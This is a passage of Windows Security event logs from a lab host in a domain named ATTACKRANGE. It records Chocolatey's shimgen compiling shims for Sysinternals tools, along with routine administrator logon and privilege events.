	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1A44.tmp" "c:\ProgramData\chocolatey\bin\CSC65D9D58DEC4F4BCC909C4722A3B687D.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246998
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc98
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES206F.tmp" "c:\ProgramData\chocolatey\bin\CSCBCF06C033CA442B1BADA07B438EBE1E.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246997
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x530
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246996
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5d8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc08
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ZoomIt64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123431_5049\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123431_5049\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_5049\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_5049\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_5049\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246995
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb88
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc08
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246994
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc08
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ZoomIt64.exe" --output="C:\ProgramData\chocolatey\bin\ZoomIt64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ZoomIt64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246993
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe54
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1F94.tmp" "c:\ProgramData\chocolatey\bin\CSCF94463C895654AF7BA867D14AEB6485.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246992
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x57c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe54
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246991
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe54
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2e0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ZoomIt.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123431_2861\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123431_2861\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_2861\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_2861\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_2861\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246990
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd08
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2e0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246989
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ZoomIt.exe" --output="C:\ProgramData\chocolatey\bin\ZoomIt.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ZoomIt.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246988
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd98
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc94
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1EA9.tmp" "c:\ProgramData\chocolatey\bin\CSC4FCC0CCCEBE7422A95D86FC31887D41.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246987
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf2c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc94
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246986
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc94
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x480
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Winobj64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123431_0517\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123431_0517\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_0517\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_0517\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_0517\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247035
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xE1402

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247034
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xE1402
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247033
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247032
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247031
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFB45

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd70
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xae4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247030
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFB45

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xae4
